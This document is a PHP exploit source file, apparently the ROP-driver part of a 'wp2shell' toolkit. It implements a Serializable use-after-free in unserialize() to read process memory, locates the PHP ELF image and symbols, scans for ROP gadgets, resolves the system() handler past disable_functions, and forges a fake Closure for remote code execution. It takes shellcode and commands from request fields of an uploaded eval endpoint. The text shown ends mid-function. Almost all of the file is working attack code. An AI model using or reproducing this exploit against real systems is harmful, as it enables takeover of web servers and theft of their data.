Files
2026-08-05 06:11:32 -07:00

1198 lines
48 KiB
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
/*
* WP2SHELL ROP DRIVER -- Serializable UAF variant.
*
* This file is deliberately separate from the packaged wp2shell exploit. It
* resolves the live PHP PIE image, gadgets, mprotect(), php_printf(), and
* _zend_bailout without fixed gadget or symbol offsets. The raw PIC payload is
* supplied by the Python client in the wpr_pic request field. If that payload
* returns, the ROP chain restores the heap mapping to RW, prints a completion
* marker through PHP, then _zend_bailout abandons the corrupted destructor
* frame cleanly.
*
* Expected lab target: PHP 8.1.34 NTS x86_64, either FPM or Apache/mod_php.
*/
/*
* PHP Serializable shared-var_hash UAF → RCE.
*
* Bug: zend_user_unserialize() in Zend/zend_interfaces.c does not increment
* BG(serialize_lock) before invoking a Serializable class's unserialize()
* method. A recursive unserialize() call inside that body inherits the
* outer var_hash; if the body then frees memory the inner parse registered
* (e.g. by growing an inner stdClass's property table past nTableSize=8),
* outer R:N back-references resolve to freed slots.
*
* Gadget: one statement.
*
* unserialize($data)->x = 0;
*
* Inner payload: O:8:"stdClass":8:{...}. Eight inner properties fill the
* property HT to nTableSize=8; the single ->x = 0 write is the 9th insert
* and triggers the 8→16 resize, which efree's the original 288-byte arData
* buffer. Var_hash slots 4..11 (the 8 property zvals) all point into it.
*
* Chain: heap leak → spray Closures → mega-string scan for zend_object gc
* patterns → find function_table HT → resolve system() (via standard
* module's static zend_function_entry[] when disable_functions blocks it)
* → fake zend_closure → IS_OBJECT type confusion → RCE.
*
* Target: PHP 8.0–8.5 (NTS). Verified on x86_64 and aarch64.
* Pointer-validity bounds and the EG-from-handlers scan range are
* auto-tuned per architecture at startup.
*/
/*
* Web dispatcher adaptation for wp2shell.py.
*
* Upstream source:
* https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/php/local_exploit.php
*
* The Serializable UAF, handler recovery, and fake-Closure construction remain
* upstream. For the official PHP 8.1 FPM/CLI binaries, the adaptation adds
* their negative handler-to-EG layout, internal-function offsets and standard
* function-entry layout/index, while retaining the positive-distance scan
* used by the Apache/mod_php lab. If the upstream symbol-table read is not
* available, a per-request marker plus object-prefix check locates the live
* fake Closure without selecting stale bytes left in a long-lived worker heap.
* The fixed CLI command sink is replaced at the final invocation point so an
* already-uploaded eval endpoint can pass a base64-encoded one-shot command
* or callback destination without writing this post-exploit to the target
* filesystem.
*
* The upstream file declares PHP 8.0-8.5 support. This packaged adaptation is
* intentionally pinned by its client to PHP 8.1 NTS because its added binary
* layout and standard-function-table handling are verified for PHP 8.1.34.
*/
error_reporting(0);
function wp2shell_init_rop_log() {
if (!isset($_REQUEST['wpr_log']))
return;
$path = base64_decode((string) $_REQUEST['wpr_log'], true);
if (!is_string($path))
return;
if (!preg_match('#^/tmp/\.wp2shell-[a-f0-9]{12}\.rop\.log$#D', $path))
return;
$GLOBALS['_wp2shell_rop_log_path'] = $path;
@unlink($path);
@ob_start();
}
function wp2shell_snapshot_rop_log() {
$path = $GLOBALS['_wp2shell_rop_log_path'] ?? null;
if (!is_string($path) || $path === '')
return;
$contents = @ob_get_contents();
if (is_string($contents))
@file_put_contents($path, $contents, LOCK_EX);
}
wp2shell_init_rop_log();
register_shutdown_function('wp2shell_snapshot_rop_log');
class CachedData implements Serializable {
public function serialize(): string { return ''; }
public function unserialize(string $data): void {
unserialize($data)->x = 0;
}
}
$GLOBALS['_cl'] = function(){};
class Exploit {
const SPRAY_LEN = 280;
const SPRAY_COUNT = 32;
const NUM_PROPS = 8;
// Struct member offsets — stable across PHP 8.0–8.5 builds
const OFF_OBJ_CE = 0x10;
const OFF_OBJ_HANDLERS = 0x18;
const OFF_CLOSURE_FUNC = 0x38;
const OFF_HANDLER = 0x38; // zend_internal_function.handler (PHP 8.1)
const OFF_HT_MASK = 0x0C;
const OFF_HT_ARDATA = 0x10;
// Bucket layout (32 bytes)
const BUCKET_SIZE = 32;
const BUCKET_VAL = 0;
const BUCKET_H = 16;
const BUCKET_KEY = 24;
const OFF_INTFUNC_MODULE = 0x40; // zend_internal_function.module (PHP 8.1)
const OFF_MODULE_FUNCS = 0x28;
const FUNC_ENTRY_SIZE = 0x20; // zend_function_entry (PHP 8.1)
private $ADDR_MAX; // user-space pointer upper bound
private $DELTA_MAX; // EG-from-closure_handlers scan range
public function __construct() {
$arch = php_uname('m');
if ($arch === 'aarch64' || $arch === 'arm64') {
// 48-bit user; PIE binaries map in the 0xaaaa.. range, EG..closure_handlers ~0x340
$this->ADDR_MAX = 0xFFFFFFFFFFFF;
$this->DELTA_MAX = 0x600;
} else {
// x86_64 / others: 47-bit canonical user; EG..closure_handlers typically <0x300
$this->ADDR_MAX = 0x7FFFFFFFFFFF;
$this->DELTA_MAX = 0x300;
}
}
// ─── Spray builders ───
private function build_inner() {
// 8-property stdClass: HT created at nTableSize=8, full to capacity.
// The gadget body's single ->x = 0 write is the 9th insert and triggers
// the resize. Slot 3 = stdClass, slots 4..11 = property zvals.
$props = '';
for ($k = 0; $k < self::NUM_PROPS; $k++) {
$pname = "p$k";
$props .= 's:' . strlen($pname) . ':"' . $pname . '";i:' . (0xAAAA0000 + $k) . ';';
}
return 'O:8:"stdClass":' . self::NUM_PROPS . ':{' . $props . '}';
}
private function build_spray_islong($marker = 0xBBBB0000) {
$s = str_repeat("\x00", self::SPRAY_LEN);
for ($k = 0; $k < 8; $k++) {
$vo = 8 + $k * 32; $to = $vo + 8;
if ($to + 4 > self::SPRAY_LEN) break;
$m = $marker + $k;
$s[$vo]=chr($m&0xFF); $s[$vo+1]=chr(($m>>8)&0xFF);
$s[$vo+2]=chr(($m>>16)&0xFF); $s[$vo+3]=chr(($m>>24)&0xFF);
$s[$vo+4]=$s[$vo+5]=$s[$vo+6]=$s[$vo+7]="\x00";
$s[$to]="\x04"; $s[$to+1]=$s[$to+2]=$s[$to+3]="\x00";
}
return $s;
}
private function build_spray_isstring($target_addr) {
$s = str_repeat("\x00", self::SPRAY_LEN);
$vo = 8 + 1 * 32;
$ab = pack('P', $target_addr);
for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
$to = $vo + 8;
$s[$to] = "\x06"; $s[$to+1] = $s[$to+2] = $s[$to+3] = "\x00";
for ($k = 0; $k < 8; $k++) {
if ($k == 1) continue;
$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
if ($to2 + 4 > self::SPRAY_LEN) break;
$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
}
return $s;
}
private function build_spray_isobject($obj_addr) {
$s = str_repeat("\x00", self::SPRAY_LEN);
$vo = 8 + 1 * 32;
$ab = pack('P', $obj_addr);
for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
$to = $vo + 8;
$s[$to] = "\x08"; $s[$to+1] = "\x03"; $s[$to+2] = $s[$to+3] = "\x00";
for ($k = 0; $k < 8; $k++) {
if ($k == 1) continue;
$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
if ($to2 + 4 > self::SPRAY_LEN) break;
$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
}
return $s;
}
private function build_spray_isarray($ht_addr) {
$s = str_repeat("\x00", self::SPRAY_LEN);
$vo = 8 + 1 * 32;
$ab = pack('P', $ht_addr);
for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
$to = $vo + 8;
// IS_ARRAY | IS_TYPE_REFCOUNTED | IS_TYPE_COLLECTABLE.
$s[$to] = "\x07"; $s[$to+1] = "\x03";
$s[$to+2] = $s[$to+3] = "\x00";
for ($k = 0; $k < 8; $k++) {
if ($k == 1) continue;
$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
if ($to2 + 4 > self::SPRAY_LEN) break;
$s[$to2] = "\x04";
$s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
}
return $s;
}
private function build_payload($spray, $num_refs = 1) {
$inner = $this->build_inner();
$c_part = 'C:10:"CachedData":' . strlen($inner) . ':{' . $inner . '}';
$total = 1 + self::SPRAY_COUNT + $num_refs;
$parts = ['i:0;' . $c_part];
for ($i = 0; $i < self::SPRAY_COUNT; $i++) {
$parts[] = 'i:' . ($i + 1) . ';s:' . self::SPRAY_LEN . ':"' . $spray . '";';
}
for ($k = 0; $k < $num_refs; $k++) {
// R:4..R:11 = the 8 property zvals of the inner stdClass
$parts[] = 'i:' . (self::SPRAY_COUNT + 1 + $k) . ';R:' . (4 + $k) . ';';
}
return 'a:' . $total . ':{' . implode('', $parts) . '}';
}
// ─── UAF read primitives ───
private function uaf_read($addr, $n = 8) {
foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) {
$target = $addr - 0x18 - $bias;
if ($target < 0x1000) continue;
$spray = $this->build_spray_isstring($target);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) continue;
$str = $result[self::SPRAY_COUNT + 1];
if (!is_string($str)) continue;
$slen = strlen($str);
if ($slen >= 0 && $slen <= $bias + $n - 1) continue;
$out = substr($str, $bias, $n);
if (strlen($out) >= $n) return $out;
}
return false;
}
private function read8($addr) {
$d = $this->uaf_read($addr, 8);
if ($d === false || strlen($d) < 8) return false;
return unpack('P', $d)[1];
}
private function read8_retry($addr, $attempts = 3) {
for ($i = 0; $i < $attempts; $i++) {
$v = $this->read8($addr);
if ($v !== false) return $v;
}
return false;
}
private function read_memory($addr, $length) {
$out = '';
while (strlen($out) < $length) {
$remaining = $length - strlen($out);
$want = min(0x8000, $remaining);
$piece = false;
while ($want >= 8 && $piece === false) {
$piece = $this->uaf_read($addr + strlen($out), $want);
if ($piece === false) $want = intdiv($want, 2);
}
if ($piece === false) return false;
$out .= $piece;
}
return substr($out, 0, $length);
}
private function u16_at($data, $offset) {
return unpack('v', substr($data, $offset, 2))[1];
}
private function u32_at($data, $offset) {
return unpack('V', substr($data, $offset, 4))[1];
}
private function u64_at($data, $offset) {
return unpack('P', substr($data, $offset, 8))[1];
}
private function enabled_handler($arData, $nTableMask) {
foreach (['var_dump', 'strlen', 'array_push', 'getenv'] as $name) {
$bucket = $this->ht_find_raw($arData, $nTableMask, $name);
if ($bucket === false) continue;
$func = $this->u64_at($bucket, 0);
$handler = $this->read8_retry($func + self::OFF_HANDLER);
if ($handler !== false && $handler >= 0x10000 && $handler <= $this->ADDR_MAX) {
printf("[+] ELF code anchor (%s): 0x%x\n", $name, $handler);
return $handler;
}
}
return false;
}
private function parse_elf_at($base, $anchor) {
// uaf_read() needs a readable fake zend_string header immediately
// before the requested bytes. At a mapping boundary, read from ELF
// offset 0x18 so that the real ELF header itself supplies those bytes.
$eh = $this->read_memory($base + 0x18, 40);
if ($eh === false) return false;
$entry = $this->u64_at($eh, 0);
$phoff = $this->u64_at($eh, 8);
$ehsize = $this->u16_at($eh, 28);
$phentsize = $this->u16_at($eh, 30);
$phnum = $this->u16_at($eh, 32);
// The FPM binary is PIE and has a normal non-zero entry point. Under
// Apache/mod_php the live PHP image is libphp.so, whose ELF entry point
// is legitimately zero because it is an ET_DYN shared object.
if (($entry !== 0 && $entry < 0x1000) || $entry > 0x10000000 || $ehsize !== 64) return false;
if ($phentsize !== 56 || $phnum < 2 || $phnum > 64 || $phoff > 0x10000) return false;
$raw = $this->read_memory($base + $phoff, $phentsize * $phnum);
if ($raw === false) return false;
$loads = [];
$exec = [];
$dynamic = false;
$anchor_in_exec = false;
for ($i = 0; $i < $phnum; $i++) {
$p = substr($raw, $i * $phentsize, $phentsize);
$type = $this->u32_at($p, 0);
$flags = $this->u32_at($p, 4);
$vaddr = $this->u64_at($p, 16);
$filesz = $this->u64_at($p, 32);
$memsz = $this->u64_at($p, 40);
if ($type === 1) {
$seg = [
'address' => $base + $vaddr,
'filesz' => $filesz,
'memsz' => $memsz,
'flags' => $flags,
];
$loads[] = $seg;
if (($flags & 1) !== 0) {
$exec[] = $seg;
if ($anchor >= $seg['address'] && $anchor < $seg['address'] + $memsz)
$anchor_in_exec = true;
}
} elseif ($type === 2) {
$dynamic = ['address' => $base + $vaddr, 'size' => $memsz];
}
}
if (!$anchor_in_exec || $dynamic === false || empty($exec)) return false;
return ['base' => $base, 'loads' => $loads, 'exec' => $exec, 'dynamic' => $dynamic];
}
private function find_php_elf($anchor) {
// GNU-linked PHP PIEs use the maximum PT_LOAD alignment for the image
// base. Probe 2 MiB-aligned candidates and validate every ELF field and
// the executable segment containing the live handler pointer.
$candidate = $anchor & ~0x1fffff;
for ($i = 0; $i < 16; $i++, $candidate -= 0x200000) {
if ($candidate < 0x10000) break;
$image = $this->parse_elf_at($candidate, $anchor);
if ($image !== false) {
printf("[+] PHP ELF base: 0x%x\n", $candidate);
return $image;
}
}
return false;
}
private function dynamic_tags($image) {
$address = $image['dynamic']['address'];
$limit = min($image['dynamic']['size'], 0x4000);
$raw = $this->read_memory($address, $limit);
if ($raw === false) return false;
$tags = [];
for ($off = 0; $off + 16 <= strlen($raw); $off += 16) {
$tag = $this->u64_at($raw, $off);
$value = $this->u64_at($raw, $off + 8);
if ($tag === 0) break;
$tags[$tag] = $value;
}
foreach ([5, 6, 23] as $tag) {
if (isset($tags[$tag]) && $tags[$tag] < $image['base'])
$tags[$tag] += $image['base'];
}
return $tags;
}
private function dynamic_symbols($image, $tags) {
if (!isset($tags[5], $tags[6], $tags[10], $tags[11])) return false;
$strtab = $tags[5];
$symtab = $tags[6];
$strsz = $tags[10];
$syment = $tags[11];
if ($syment !== 24 || $strtab <= $symtab || $strsz < 1 || $strsz > 0x200000)
return false;
$count = intdiv($strtab - $symtab, $syment);
if ($count < 1 || $count > 20000) return false;
$symbols = $this->read_memory($symtab, $count * $syment);
$strings = $this->read_memory($strtab, $strsz);
if ($symbols === false || $strings === false) return false;
return ['raw' => $symbols, 'strings' => $strings, 'count' => $count, 'syment' => $syment];
}
private function symbol_name($symbols, $index) {
if ($index < 0 || $index >= $symbols['count']) return false;
$off = $index * $symbols['syment'];
$name_off = $this->u32_at($symbols['raw'], $off);
if ($name_off >= strlen($symbols['strings'])) return false;
$end = strpos($symbols['strings'], "\x00", $name_off);
if ($end === false) return false;
return substr($symbols['strings'], $name_off, $end - $name_off);
}
private function resolve_defined_symbol($image, $symbols, $wanted) {
for ($i = 0; $i < $symbols['count']; $i++) {
if ($this->symbol_name($symbols, $i) !== $wanted) continue;
$off = $i * $symbols['syment'];
$shndx = $this->u16_at($symbols['raw'], $off + 6);
$value = $this->u64_at($symbols['raw'], $off + 8);
if ($shndx === 0 || $value === 0) return false;
return $image['base'] + $value;
}
return false;
}
private function resolve_jump_slot($image, $tags, $symbols, $wanted) {
if (!isset($tags[23], $tags[2]) || $tags[2] < 24 || $tags[2] > 0x200000)
return false;
$rela = $this->read_memory($tags[23], $tags[2]);
if ($rela === false) return false;
for ($off = 0; $off + 24 <= strlen($rela); $off += 24) {
$r_offset = $this->u64_at($rela, $off);
$r_info = $this->u64_at($rela, $off + 8);
$type = $r_info & 0xffffffff;
$sym_index = $r_info >> 32;
if ($type !== 7 || $this->symbol_name($symbols, $sym_index) !== $wanted)
continue;
$slot = $r_offset < $image['base'] ? $image['base'] + $r_offset : $r_offset;
return $this->read8_retry($slot);
}
return false;
}
private function scan_gadgets($image) {
$patterns = [
'leave_ret' => "\xc9\xc3",
'pop_rsp_ret' => "\x5c\xc3",
'pop_rdi_ret' => "\x5f\xc3",
'pop_rsi_ret' => "\x5e\xc3",
'pop_rdx_ret' => "\x5a\xc3",
'pop_rax_ret' => "\x58\xc3",
'ret' => "\xc3",
];
$found = array_fill_keys(array_keys($patterns), []);
foreach ($image['exec'] as $segment) {
$tail = '';
// Leave the first 0x18 bytes for the forged zend_string header.
// No useful multi-instruction gadget is expected in the ELF .init
// segment prologue, and this avoids reading before a mapping edge.
for ($offset = 0x18; $offset < $segment['filesz']; $offset += 0x8000) {
$size = min(0x8000, $segment['filesz'] - $offset);
$piece = $this->read_memory($segment['address'] + $offset, $size);
if ($piece === false) return false;
$scan = $tail . $piece;
$scan_base = $segment['address'] + $offset - strlen($tail);
foreach ($patterns as $name => $pattern) {
if (count($found[$name]) >= 512) continue;
$from = 0;
while (($pos = strpos($scan, $pattern, $from)) !== false) {
$address = $scan_base + $pos;
if (empty($found[$name]) || end($found[$name]) !== $address)
$found[$name][] = $address;
if (count($found[$name]) >= 512) break;
$from = $pos + 1;
}
}
$tail = substr($scan, -1);
}
}
$gadgets = [];
foreach ($found as $name => $addresses) {
if ($name === 'pop_rsp_ret') {
// This address also occupies HashTable.u.flags. zend_hash_destroy
// requires the packed/static bits to remain clear before calling
// pDestructor.
$addresses = array_values(array_filter(
$addresses,
fn($address) => ($address & 0x14) === 0
));
}
if (empty($addresses)) return false;
$gadgets[$name] = $addresses[0];
printf("[+] Gadget %-11s 0x%x (ELF+0x%x)\n",
$name, $addresses[0], $addresses[0] - $image['base']);
}
return $gadgets;
}
// ─── DJBX33A hash (same as Zend) ───
private function zend_hash_func($key) {
$h = 5381;
for ($i = 0; $i < strlen($key); $i++)
$h = (($h << 5) + $h) + ord($key[$i]);
return $h | (1 << 63);
}
private function ht_find($ht_addr, $key) {
$arData = $this->read8_retry($ht_addr + self::OFF_HT_ARDATA);
if ($arData === false) return false;
$d = $this->uaf_read($ht_addr + self::OFF_HT_MASK, 4);
if ($d === false) return false;
$nTableMask = unpack('V', $d)[1];
return $this->ht_find_raw($arData, $nTableMask, $key);
}
private function ht_find_raw($arData, $nTableMask, $key) {
$h = $this->zend_hash_func($key);
$nIndex = (($h & 0xFFFFFFFF) | $nTableMask) & 0xFFFFFFFF;
if ($nIndex >= 0x80000000) $nIndex -= 0x100000000;
$slot_addr = $arData + $nIndex * 4;
$d = $this->uaf_read($slot_addr, 4);
if ($d === false) return false;
$idx = unpack('V', $d)[1];
if ($idx === 0xFFFFFFFF) return false;
$klen = strlen($key);
for ($chain = 0; $chain < 16; $chain++) {
$bucket_addr = $arData + $idx * self::BUCKET_SIZE;
$bucket = $this->uaf_read($bucket_addr, self::BUCKET_SIZE);
if ($bucket === false) return false;
$key_ptr = unpack('P', substr($bucket, self::BUCKET_KEY, 8))[1];
if ($key_ptr != 0) {
$kd = $this->uaf_read($key_ptr + 16, 8 + $klen);
if ($kd !== false) {
$slen = unpack('P', substr($kd, 0, 8))[1];
if ($slen == $klen && substr($kd, 8, $klen) === $key) {
return $bucket;
}
}
}
$next = unpack('V', substr($bucket, 12, 4))[1];
if ($next === 0xFFFFFFFF) return false;
$idx = $next;
}
return false;
}
// ─── Phase 1: Heap address leak ───
private function heap_leak() {
$spray = $this->build_spray_islong();
$original = $spray;
$payload = $this->build_payload($spray, self::NUM_PROPS);
$result = @unserialize($payload);
if ($result === false) die("[-] heap_leak: unserialize failed\n");
for ($i = 1; $i <= self::SPRAY_COUNT; $i++) {
$s = $result[$i];
for ($k = 0; $k < self::NUM_PROPS; $k++) {
$vo = 8 + ($k + 1) * 32;
if (substr($s, $vo, 8) !== substr($original, $vo, 8)) {
return unpack('P', substr($s, $vo, 8))[1];
}
}
}
die("[-] heap_leak: no spray modification detected\n");
}
// ─── Phase 2: Find object pointers (ce, handlers) from heap objects ───
private function find_object_pointers($heap_addr) {
$chunk = $heap_addr & 0xFFFFFFFFFFE00000;
for ($i = 0; $i < 256; $i++) {
$GLOBALS["_spray_$i"] = function(){};
}
for ($attempt = 0; $attempt < 3; $attempt++) {
$target = $chunk - 0x10;
$spray = $this->build_spray_isstring($target);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) continue;
$str = $result[self::SPRAY_COUNT + 1];
if (!is_string($str)) continue;
$slen = strlen($str);
if ($slen < 0x10000) continue;
$max_off = min($slen, 0x200000 - 0x08);
$pairs = [];
for ($off = 8; $off + 32 <= $max_off; $off += 16) {
$rc = unpack('V', substr($str, $off, 4))[1];
if ($rc < 1 || $rc > 50) continue;
$ti = ord($str[$off + 4]) & 0x0F;
if ($ti != 8) continue;
$handle = unpack('V', substr($str, $off + 8, 4))[1];
if ($handle == 0 || $handle > 100000) continue;
$pad = unpack('V', substr($str, $off + 12, 4))[1];
if ($pad != 0) continue;
$ce = unpack('P', substr($str, $off + 16, 8))[1];
$handlers = unpack('P', substr($str, $off + 24, 8))[1];
if ($ce == 0 || $handlers == 0) continue;
if (($handlers & (~0x1FFFFF)) == $chunk) continue;
if ($handlers < 0x10000 || $handlers > $this->ADDR_MAX) continue;
$key = sprintf("%x", $handlers);
if (!isset($pairs[$key])) $pairs[$key] = ['ce' => $ce, 'handlers' => $handlers, 'count' => 0];
$pairs[$key]['count']++;
}
if (empty($pairs)) continue;
usort($pairs, fn($a, $b) => $b['count'] <=> $a['count']);
$best = $pairs[0];
printf("[+] Closure group: %d objects\n", $best['count']);
printf("[+] Class entry: 0x%x\n", $best['ce']);
printf("[+] Handlers: 0x%x\n", $best['handlers']);
return [$best['ce'], $best['handlers']];
}
return false;
}
// ─── Phase 3a: Find EG and function_table near handlers in .bss ───
private function find_function_table_ht($handlers, $heap_addr) {
// Some linked SAPI binaries place executor_globals before, rather than
// shortly after, closure_handlers. Try that observed layout first,
// then retain the upstream positive-distance scan.
$deltas = [-0x1de0];
for ($delta = 0x20; $delta < $this->DELTA_MAX; $delta += 8)
$deltas[] = $delta;
foreach ($deltas as $delta) {
foreach ([0x1b0, 0x1c8] as $ft_off) {
$ptr_addr = $handlers + $delta + $ft_off;
$d = $this->uaf_read($ptr_addr, 24);
if ($d === false) continue;
$ft_ptr = unpack('P', substr($d, 0, 8))[1];
$ct_ptr = unpack('P', substr($d, 8, 8))[1];
$zc_ptr = unpack('P', substr($d, 16, 8))[1];
if ($ft_ptr < 0x10000 || $ft_ptr > $this->ADDR_MAX) continue;
if ($ct_ptr < 0x10000 || $ct_ptr > $this->ADDR_MAX) continue;
if ($zc_ptr < 0x10000 || $zc_ptr > $this->ADDR_MAX) continue;
if (abs($ft_ptr - $ct_ptr) > 0x1000000) continue;
if (abs($ct_ptr - $zc_ptr) > 0x1000000) continue;
$htd = $this->uaf_read($ft_ptr + self::OFF_HT_MASK, 16);
if ($htd === false) continue;
$nTableMask = unpack('V', substr($htd, 0, 4))[1];
$arData = unpack('P', substr($htd, 4, 8))[1];
$nNumUsed = unpack('V', substr($htd, 12, 4))[1];
$pos = (~$nTableMask + 1) & 0xFFFFFFFF;
if ($pos < 64 || ($pos & ($pos - 1)) != 0) continue;
if ($arData < 0x10000 || $arData > $this->ADDR_MAX) continue;
if ($nNumUsed < 100 || $nNumUsed > 10000) continue;
printf("[+] Function table: 0x%x\n", $ft_ptr);
printf("[+] Function entries: %d\n", $nNumUsed);
return ['ht' => $ft_ptr, 'arData' => $arData, 'nTableMask' => $nTableMask,
'delta' => $delta, 'ft_off' => $ft_off];
}
}
return false;
}
// ─── Phase 3b: Find symbol_table (embedded in EG) ───
private function find_symbol_table($handlers, $combined, $heap_addr) {
foreach ([0x1b0, 0x1c8] as $ft_off) {
$delta = $combined - $ft_off;
if ($delta < 0) continue;
$eg = $handlers + $delta;
$st = $eg + 0x130;
$d = false;
for ($attempt = 0; $attempt < 5 && $d === false; $attempt++)
$d = $this->uaf_read($st + self::OFF_HT_MASK, 16);
if ($d === false) continue;
$st_mask = unpack('V', substr($d, 0, 4))[1];
$st_ardata = unpack('P', substr($d, 4, 8))[1];
$st_nused = unpack('V', substr($d, 12, 4))[1];
$m32 = $st_mask & 0xFFFFFFFF;
if ($m32 < 0xFFFF0000) continue;
$pos = (~$m32 + 1) & 0xFFFFFFFF;
if (($pos & ($pos - 1)) !== 0 || $pos < 4) continue;
if ($st_ardata < 0x10000) continue;
if ($st_nused > 500) continue;
printf("[+] Executor globals: 0x%x\n", $eg);
printf("[+] Symbol table: 0x%x\n", $st);
return $st;
}
return false;
}
private function read_str($addr, $maxlen = 32) {
$d = $this->uaf_read($addr, $maxlen);
if ($d === false) return false;
$s = '';
for ($i = 0; $i < strlen($d); $i++) {
$c = ord($d[$i]);
if ($c == 0) break;
if ($c >= 0x20 && $c <= 0x7e) $s .= chr($c);
else return false;
}
return $s;
}
// ─── Phase 4: Bypass disable_functions, find zif_system handler ───
private function find_system($arData, $nTableMask, $closure_handlers) {
$disabled = ini_get('disable_functions');
$is_disabled = (stripos($disabled, 'system') !== false);
if (!$is_disabled) {
$bucket = $this->ht_find_raw($arData, $nTableMask, "system");
if ($bucket !== false) {
$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
$handler = $this->read8_retry($func_ptr + self::OFF_HANDLER);
if ($handler !== false) {
printf("[+] system handler: 0x%x\n", $handler);
return ['handler' => $handler, 'mode' => 'closure'];
}
}
}
echo "[+] system() is disabled\n";
echo "[*] Recovering the internal handler\n";
$handler = $this->find_system_via_module($arData, $nTableMask);
if ($handler === false)
die("[-] Internal system handler not found\n");
printf("[+] system handler: 0x%x\n", $handler);
return ['handler' => $handler, 'mode' => 'closure'];
}
private function find_system_via_module($arData, $nTableMask) {
$probe_funcs = ['var_dump', 'array_push', 'phpversion', 'getenv', 'strtolower'];
$mod_ptr = false;
foreach ($probe_funcs as $fname) {
$bucket = $this->ht_find_raw($arData, $nTableMask, $fname);
if ($bucket === false) continue;
$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
$candidate = $this->read8_retry($func_ptr + self::OFF_INTFUNC_MODULE);
if ($candidate === false || $candidate < 0x10000 || $candidate > $this->ADDR_MAX)
continue;
$name_ptr = $this->read8_retry($candidate + 0x20);
if ($name_ptr === false) continue;
$name = $this->read_str($name_ptr, 16);
if ($name === 'standard') {
$mod_ptr = $candidate;
printf("[+] Standard module found via %s\n", $fname);
break;
}
}
if ($mod_ptr === false) return false;
$funcs = $this->read8_retry($mod_ptr + self::OFF_MODULE_FUNCS);
if ($funcs === false) return false;
if (PHP_VERSION_ID >= 80100 && PHP_VERSION_ID < 80200) {
// PHP 8.1 standard/basic_functions.c entry order.
$entry = $funcs + 278 * self::FUNC_ENTRY_SIZE;
$handler = $this->read8_retry($entry + 0x08);
if (
$handler !== false
&& $handler >= 0x10000
&& $handler <= $this->ADDR_MAX
&& abs($handler - $funcs) <= 0x2000000
) {
echo "[+] PHP 8.1 system entry found\n";
return $handler;
}
}
for ($j = 0; $j < 600; $j++) {
$entry = $funcs + $j * self::FUNC_ENTRY_SIZE;
$fname_ptr = $this->read8_retry($entry);
if ($fname_ptr === false) continue;
if ($fname_ptr == 0) break;
if (
$fname_ptr < 0x10000
|| $fname_ptr > $this->ADDR_MAX
|| abs($fname_ptr - $funcs) > 0x2000000
) continue;
$fname = $this->read_str($fname_ptr, 16);
if ($fname === 'system') {
$handler = $this->read8_retry($entry + 0x08);
if (
$handler !== false
&& $handler >= 0x10000
&& $handler <= $this->ADDR_MAX
&& abs($handler - $funcs) <= 0x2000000
) return $handler;
}
}
return false;
}
// ─── Build fake zend_closure ───
private function build_fake_closure($ce, $handlers, $system_handler) {
$b = str_repeat("\x00", 512);
$w = function(&$buf, $off, $data) {
for ($i = 0; $i < strlen($data); $i++) $buf[$off + $i] = $data[$i];
};
$w($b, 0x00, pack('V', 0x7FFFFFFF));
$w($b, 0x04, pack('V', 0x18));
$w($b, self::OFF_OBJ_CE, pack('P', $ce));
$w($b, self::OFF_OBJ_HANDLERS, pack('P', $handlers));
$w($b, self::OFF_CLOSURE_FUNC, chr(1));
$w($b, 0x58, pack('V', 1));
$w($b, 0x5C, pack('V', 1));
$w($b, self::OFF_CLOSURE_FUNC + self::OFF_HANDLER, pack('P', $system_handler));
return $b;
}
private function find_var_string_addr($st_addr, $name) {
$bucket = $this->ht_find($st_addr, $name);
if ($bucket === false) return false;
$type = ord($bucket[8]);
$val = unpack('P', substr($bucket, 0, 8))[1];
if ($type == 6) return $val;
if ($type == 10) {
$inner = $this->uaf_read($val + 8, 16);
if ($inner === false) return false;
if (ord($inner[8]) == 6) return unpack('P', substr($inner, 0, 8))[1];
}
return false;
}
private function find_bytes_in_heap(
$heap_addr,
$needle,
$relative_offset = 0,
$expected_prefix = ''
) {
$chunk = $heap_addr & 0xFFFFFFFFFFE00000;
for ($attempt = 0; $attempt < 3; $attempt++) {
$target = $chunk - 0x10;
$spray = $this->build_spray_isstring($target);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) continue;
$str = $result[self::SPRAY_COUNT + 1];
if (!is_string($str)) continue;
$slen = strlen($str);
if ($slen < strlen($needle)) continue;
$scan_len = min($slen, 0x200000 - 0x08);
$scan = substr($str, 0, $scan_len);
$search_from = 0;
while (($pos = strpos($scan, $needle, $search_from)) !== false) {
$candidate = $pos - $relative_offset;
if (
$candidate >= 0
&& (
$expected_prefix === ''
|| substr($scan, $candidate, strlen($expected_prefix))
=== $expected_prefix
)
) return $chunk + 0x08 + $candidate;
$search_from = $pos + 1;
}
}
return false;
}
private function patch_rop_blob($offset, $data) {
for ($i = 0; $i < strlen($data); $i++)
$GLOBALS['_rop_blob'][$offset + $i] = $data[$i];
}
private function append_rop_call(&$chain, $chain_addr, $function, $arguments, $gadgets) {
foreach ($arguments as $register => $value) {
$name = 'pop_' . $register . '_ret';
if (!isset($gadgets[$name])) return false;
$chain[] = $gadgets[$name];
$chain[] = $value;
}
// SysV AMD64 function entry requires RSP % 16 == 8. A bare ret shifts
// the heap stack by one word when the current chain parity is wrong.
$entry_rsp = $chain_addr + (count($chain) + 1) * 8;
if (($entry_rsp & 0xf) !== 8) $chain[] = $gadgets['ret'];
$chain[] = $function;
return true;
}
private function pack_chain($chain) {
$raw = '';
foreach ($chain as $word) $raw .= pack('P', $word);
return $raw;
}
private function load_pic_payload() {
